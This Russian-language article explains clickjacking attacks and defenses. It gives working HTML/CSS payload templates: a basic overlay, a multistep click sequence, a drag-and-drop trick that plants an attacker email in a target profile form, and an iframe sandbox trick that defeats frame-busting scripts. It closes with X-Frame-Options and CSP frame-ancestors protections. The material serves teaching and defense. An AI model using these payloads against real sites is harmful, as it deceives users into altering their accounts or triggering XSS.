✗ Что такое Clickjacking |

✗ Что такое Clickjacking

Статьи

При атаке clickjacking пользователя обманом заставляют нажать на элемент на веб-странице, который либо невидим, либо замаскирован под другой элемент.

Такая манипуляция может привести к нежелательным последствиям для пользователя, например загрузке вредоносного ПО, перенаправлению на вредоносные веб-страницы, предоставлению учетных данных или конфиденциальной информации, переводу денег или покупке товаров онлайн.

Трюк с предварительным заполнением форм

Иногда при загрузке страницы можно заполнить значения полей формы с помощью GET-параметров.

Злоумышленник может воспользоваться этим поведением, чтобы заполнить форму произвольными данными и отправить полезную нагрузку clickjacking, чтобы пользователь нажал кнопку “Отправить”.

Заполнение формы с помощью Drag&Drop

Если вам нужно, чтобы пользователь заполнил форму, но вы не хотите напрямую просить его написать какую-то определенную информацию (например, email или пароль, который вы знаете), вы можете просто попросить его перетащить что-то, что запишет ваши контролируемые данные, как в этом примере.

Основная полезная нагрузка

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:470px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Многоступенчатая полезная нагрузка

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:60px;
       z-index: 1;
   }
   .secondClick {
       left:210px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Перетаскивание + клик

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Если вы обнаружили XSS-атаку, которая требует от пользователя щелкнуть по какому-то элементу, чтобы запустить XSS, а страница уязвима к clickjacking, вы можете злоупотребить этим, чтобы обманом заставить пользователя щелкнуть по кнопке/ссылке.
Пример:
Вы обнаружили XSS в некоторых приватных данных аккаунта (данные, которые можете установить и прочитать только вы).
Страница с формой для установки этих данных уязвима для Clickjacking, и вы можете предварительно заполнить форму GET-параметрами.
Злоумышленник может подготовить атаку Clickjacking на эту страницу, предварительно заполнив форму XSS-полезной нагрузкой и обманом заставив пользователя отправить форму.
Таким образом, когда форма будет отправлена и значения будут изменены, пользователь выполнит XSS.

Стратегии защиты от кликджекинга

Защита на стороне клиента

Сценарии, выполняемые на стороне клиента, могут выполнять действия по предотвращению Clickjacking:
  • Убедитесь, что окно приложения является главным или верхним окном.
  • Сделать все фреймы видимыми.
  • Предотвращение щелчков на невидимых фреймах.
  • Обнаружение и предупреждение пользователей о возможных попытках Clickjacking.
Однако эти скрипты, разрушающие фреймы, можно обойти:

Настройки безопасности браузеров: Некоторые браузеры могут блокировать эти скрипты, основываясь на настройках безопасности или отсутствии поддержки JavaScript.

HTML5 iframe Атрибут: Злоумышленник может нейтрализовать скрипты-разрушители фреймов, установив атрибут sandbox со значениями allow-forms или allow-scripts без allow-top-navigation. Это не позволяет iframe проверять, является ли он верхним окном, например,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Значения allow-forms и allow-scripts позволяют выполнять действия внутри iframe, запрещая навигацию на верхнем уровне.
Для обеспечения функциональности целевого сайта могут потребоваться дополнительные разрешения, такие как allow-same-origin и allow-modals, в зависимости от типа атаки.
Сообщения консоли браузера могут подсказать, какие разрешения следует разрешить.

Защита на стороне сервера

X-Frame-Options заголовок ответа HTTP информирует браузеры о легитимности отображения страницы в <frame> или <iframe>, помогая предотвратить Clickjacking:

Обратите внимание на ограничения: если браузер не поддерживает эту директиву, она может не работать. Некоторые браузеры предпочитают директиву CSP frame-ancestors.
Политика безопасности содержимого (CSP) директива frame-ancestors
  • frame-ancestors ‘none’ – Аналогично X-Frame-Options: deny.
  • frame-ancestors ‘self’ – Аналогично X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com – Аналогично X-Frame-Options: allow-from.

Например, следующий CSP разрешает фреймы только из того же домена:

Content-Security-Policy: frame-ancestors 'self';

см. также:
Пожалуйста, не спамьте и никого не оскорбляйте. Это поле для комментариев, а не спамбокс. Рекламные ссылки не индексируются!
Добавить комментарий